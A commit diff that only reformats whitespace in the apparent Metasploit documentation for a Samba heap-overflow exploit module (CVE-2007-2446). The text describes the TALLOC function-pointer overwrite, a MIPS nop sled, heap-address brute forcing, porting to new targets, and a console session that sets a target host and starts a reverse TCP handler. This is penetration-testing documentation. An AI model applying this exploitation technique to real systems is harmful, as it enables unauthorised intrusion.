minor formatting updates

Author: Brent Cook

documentation/modules/exploit/linux/samba/lsa_transnames_heap.md

@@ -1,6 +1,7 @@
 ## Vulnerable Application
 
-  Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). 
+  Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
+
   The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
 
 ## Verification Steps
@@ -19,16 +20,18 @@
 ### MIPS nop generator
 
   The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effectless nops. At the end of the sled the true payload is added and execution will eventually hit this code.
+
   A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
-  
+
 ### Heap address bruteforce
 
-  The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly then the nop sled will be hit and code execution will follow. If the nop sled is missed then the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash a new heap address is chosen and exploitation is attempted again. 
-  When porting the exploit to a new system the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
+  The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again.
+
+  When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router, the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
 
 ## Scenarios
 
-    msf > use exploit/linux/samba/lsa\_transnames_heap 
+    msf > use exploit/linux/samba/lsa\_transnames_heap
     msf exploit(lsa\_transnames_heap) > set target 7
     target => 7
     msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
@@ -53,7 +56,7 @@
 
     msf exploit(lsa\_transnames_heap) > exploit
 
-    [*] Started reverse TCP handler on 192.168.1.3:4444 
+    [*] Started reverse TCP handler on 192.168.1.3:4444
     [*] 192.168.1.1:445 - Creating nop sled....
     [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
     [*] 192.168.1.1:445 - Connecting to the SMB service...